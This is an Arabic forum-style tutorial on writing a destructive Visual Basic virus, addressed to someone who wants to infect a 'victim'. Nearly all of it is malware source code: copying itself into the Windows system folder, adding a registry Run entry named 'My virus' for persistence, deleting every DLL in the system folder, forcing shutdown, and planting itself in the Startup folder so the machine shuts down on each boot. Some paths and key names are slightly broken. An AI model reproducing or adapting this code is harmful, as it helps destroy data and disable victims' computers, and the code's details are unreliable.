السلام عليكم ورحمة اله وبركاته

هنا بعض الطرق التي اعرفها والتي ستساعدك على عمل فايروس في vb



لنبدأ: اولا يجب ان تعرف كيف تعمل نسخة للفيروس فمثلا عندما الضحية يحمل الفيروس ويشغلة سيقوم البرنامج بنسخ نسخة اخرى في السيستم او اي مكان اخر, هكذا:

[hide]





code:



--------------------------------------------------------------------------------



On Error Resume Next

Dim copy, copy2

copy = "c:\virus.exe"

copy2 = "c:\windows\system\Project12.exe"

FileCopy copy, copy2



--------------------------------------------------------------------------------









الان ايضا نحتاج لكي يعمل الفيروس دائما عند تشغيل الكمبيوتر وذلك عن طريق ال registry :







code:



--------------------------------------------------------------------------------



Option Explicit



Private Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, ByVal lpData As String, lpcbData As Long) As Long

Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long

Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As Long

Private Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long

Private Declare Function RegDeleteKey Lib "advapi32.dll" Alias "RegDeleteKeyA" (ByVal hKey As Long, ByVal lpSubKey As String) As Long

Private Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String) As Long



Private Const REG_SZ = 1

Private Const LOCALMACHINE = &H80000002





Private Sub Command1_Click()

Dim InputValue As String

Dim nBufferKey As Long, nBufferSubKey As Long





RegCreateKey LOCALMACHINE, "SOFTWARE\JPRODUCTIONS", nBufferKey

RegOpenKey LOCALMACHINE, "Software\Microsoft\Windows\CurrentVersion", nBufferKey

RegOpenKey nBufferKey, "Run-", nBufferSubKey

InputValue = "c:\windows\system\Project12.exe"

RegOpenKey LOCALMACHINE, "Software\Microsoft\Windows\CurrentVersion", nBufferKey

RegOpenKey nBufferKey, "Run-", nBufferSubKey

RegSetValueEx nBufferSubKey, "My virus", 0, REG_SZ, InputValue, Len(InputValue)



End Sub



--------------------------------------------------------------------------------









الان لنبدأ بصنع الفيروس

ضع هذا في form_load

هذا الكود خطير ويقوم يحذف جميع ملفات dll الموجودة في system





code:



--------------------------------------------------------------------------------



Call Kill ("C:\WINDOWS\SYSTEM\ *.dll")

Call Shell("Rundll32.exe user,exitwindows")



--------------------------------------------------------------------------------









هذا الكود يقوم بأغلاق الجهاز كلما فتحتة





code:



--------------------------------------------------------------------------------



Name App.Path & "\Virus3.exe" As "C:\WINDOWS\Start Menu\Programs\StartUp\Virus3.exe"

Call Shell("Rundll32.exe user,exitwindows")



--------------------------------------------------------------------------------







لاتنسى تغيير virus3.exe الى الفيروس الذي صنعتة
